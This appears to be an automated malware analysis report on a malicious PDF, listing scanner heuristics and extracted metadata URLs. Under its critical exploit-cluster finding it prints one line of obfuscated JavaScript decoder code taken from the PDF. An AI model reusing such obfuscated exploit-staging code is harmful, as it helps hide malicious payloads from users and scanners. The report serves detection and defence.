Malicious PDF — malware analysis report

Heuristics 4

• JavaScript action low 2 related findings PDF_JAVASCRIPT
  PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
• PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
  PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  Matched line in script

  while(bshtepg2.length){fscoa.push((erkrynk(bshtepg2.charCodeAt(0))<<(4+2))+erkrynk(bshtepg2.charCodeAt(1))-(500+12));bshtepg2=bshtepg2.slice(2,bshtepg2.length)}iudoj9=kvasg=bshtepg2=0;hvkoa6='';function erkrynk(aohpcm){if(aohpcm>92)aohpcm--;return aohpcm-42}function xzarfr(){if(bshtepg2==0){kvasg=erkrynk(xwbofmh.charCodeAt(iudoj9++));bshtepg2=6;}return ((kvasg>>--bshtepg2)&0x01);}while(bwgmb--){i=0;while(fscoa[i]<0){if(xzarfr())i=-fscoa[i];else i++;}hvkoa6+=String.fromCharCode(fscoa[i]);}

• Embedded JS stream low PDF_JS
  PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text

  • http://ns.adobe.com/xap/1.0/In PDF document text
  • http://purl.org/dc/elements/1.1/In PDF document text
  • http://ns.adobe.com/xap/1.0/mm/In PDF document text
  • http://ns.adobe.com/pdf/1.3/In PDF document text

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